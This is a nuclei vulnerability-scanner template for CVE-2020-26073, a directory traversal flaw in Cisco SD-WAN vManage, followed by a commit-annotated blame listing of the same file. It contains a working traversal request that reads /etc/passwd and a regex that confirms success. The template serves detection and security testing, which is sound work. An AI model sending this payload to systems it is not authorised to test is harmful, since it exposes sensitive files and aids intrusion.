nuclei-templates/cves/2020/CVE-2020-26073.yaml

id: CVE-2020-26073
info:
  name: Cisco SD-WAN vManage Software Directory Traversal
  author: madrobot
  severity: high
  description: |
    A vulnerability in the application data endpoints of Cisco SD-WAN vManage Software could allow an unauthenticated, remote attacker to gain access to sensitive information.
  reference: 
    - https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-vman-traversal-hQh24tmk.html
  tags: cve,cve2020,cisco,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
– => - 2021-03-11 10:37:37 +00:00			`id: CVE-2020-26073`
Fixed typo in CVE-2020-26073 & made it's file name consistent with the rest of the vulnerabilities 2021-02-17 19:37:37 +00:00			`info:`
			`name: Cisco SD-WAN vManage Software Directory Traversal`
			`author: madrobot`
			`severity: high`
Way better reference and description 2021-03-15 17:27:01 +00:00			`description: \|`
			`A vulnerability in the application data endpoints of Cisco SD-WAN vManage Software could allow an unauthenticated, remote attacker to gain access to sensitive information.`
			`reference:`
			`- https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-vman-traversal-hQh24tmk.html`
Update CVE-2020-26073.yaml 2021-02-18 05:33:26 +00:00			`tags: cve,cve2020,cisco,lfi`
Fixed typo in CVE-2020-26073 & made it's file name consistent with the rest of the vulnerabilities 2021-02-17 19:37:37 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd"`
			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`
			`- type: regex`
			`regex:`
			`- "root:[x*]:0:0:"`
			`part: body`